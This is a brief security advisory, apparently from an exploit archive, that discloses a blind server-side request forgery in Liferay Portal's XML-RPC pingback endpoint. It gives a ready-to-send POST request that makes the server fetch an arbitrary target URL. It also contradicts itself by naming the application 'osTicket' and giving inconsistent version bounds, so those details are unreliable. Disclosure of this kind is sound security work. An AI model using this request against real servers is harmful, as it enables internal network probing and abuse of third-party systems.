Liferay Portal < 7.0.4 - Server-Side Request Forgery Vulnerability

1. ADVISORY INFORMATION
 
========================================
 
Title: Liferay Portal < 7.0.4 Blind Server-Side Request Forgery
 
Application: osTicket
 
Remotely Exploitable: Yes
 
Authentication Required: NO
 
Versions Affected: <= 7.0.4
 
Technology: Java
 
Vendor URL: liferay.com
 
Date of found: 04 December 2017
 
Disclosure: 25 June 2018
 
Author: Mehmet Ince
 
 
 
2. CREDIT
 
========================================
 
This vulnerability was identified during penetration test
 
by Mehmet INCE from PRODAFT / INVICTUS
 
 
 
3. Technical Details & POC
 
========================================
 
POST /xmlrpc/pingback HTTP/1.1
 
Host: mehmetince.dev:8080
 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/47.0.2526.73 Safari/537.36
 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 
Accept-Language: en-US,en;q=0.5
 
Accept-Encoding: gzip, deflate
 
Connection: close
 
Upgrade-Insecure-Requests: 1
 
Content-Length: 361
 
 
<?xml version="1.0" encoding="UTF-8"?>
 
<methodCall>
 
<methodName>pingback.ping</methodName>
 
<params>
 
<param>
 
<value>http://TARGET/</value>
 
</param>
 
<param>
 
<value>http://mehmetince.dev:8080/web/guest/home/-/blogs/30686</value>
 
</param>
 
</params>
 
</methodCall>

#  0day.today [2018-06-26]  #